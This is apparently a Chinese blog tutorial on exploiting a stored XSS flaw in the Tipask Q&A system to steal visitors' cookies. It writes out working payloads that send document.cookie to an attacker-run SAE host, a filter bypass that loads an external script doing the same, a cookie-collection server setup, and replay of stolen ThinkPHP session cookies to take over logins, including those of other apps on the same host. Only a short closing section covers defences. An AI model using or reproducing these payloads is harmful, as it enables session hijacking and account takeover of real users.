首先一定要先来吐槽一下tipask系统。这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御。
言归正传:
【准备1】 cookie接收服务器。 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。
数据表结构很简单
其中time,ip,pre_url都可以没有。
页面代码如下
实际应用像下面这样:
访问链接:http://xxx.sinaapp.com/?cookie=xxxx;
xxxx的内容就会自动存入数据库。
【准备2】利用xss漏洞截取用户的cookie
输入内容
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>
提交后发现没反应,审查元素:
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>
发现代码被浏览器处理过了:把加号给过滤掉了。怎么处理呢?
答案是:引入外部js文件!!
还是在刚才的文本框输入:
<script src='http://xxx.sinaapp.com/js/test.js'></script>
js文件内容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;
【Go!】
当用户访问被XSS注入的页面时,会自动引入test.js文件,这个文件里包含的js语句,会读取页面的cookie,然后访问一个get传值的页面,cookie就会自动存储到数据库中了~
【获得cookie之后】
win7下的cookie存储方式比较特别,xxxx.txt,根本分不清哪个是哪个,于是楼主给chrome浏览器装了个插件,EditThisCookie,可以在浏览器上对cookie进行读取,删除,修改操作。
tipask用了thinkphp框架,ThinkPHP保存cookie时有两个关键值,tp_auth和tp_sid,更新了这两个值就能获取登录状态了。但是,咳咳,ThinkPHP框架把tp_auth的值设置了和IP绑定,所以即使你拿到cookie,如果cookie不匹配,也P用不中~但是,咳咳咳,此处获取的cookie可不只tipask系统的cookie,而是tipask系统所在IP地址所有应用的cookie..比如说,xxx.xxx.edu.cn对应是dz论坛,xxx.xxx.edu.cn/zhidao对应的tipask,那么获取的cookie既有tipask的,也有dz论坛的。所以~
【xss注入初步解决方案】
1. 防止xss注入的原理,就是对用户输入的富文本进行html encode
PHP环境下处理函数如下:
function re_xss($list) { if(is_array($list)) foreach ($list as $key => $value) { foreach ($value as $keys => $values) { $list[$key][$keys]=htmlspecialchars($values); } } else $list=htmlspecialchars($list); return $list; }
2. 防止cookie被窃取的原理,就是像ThinkPHP,把cookie和IP地址绑定,或者和其他唯一值绑定。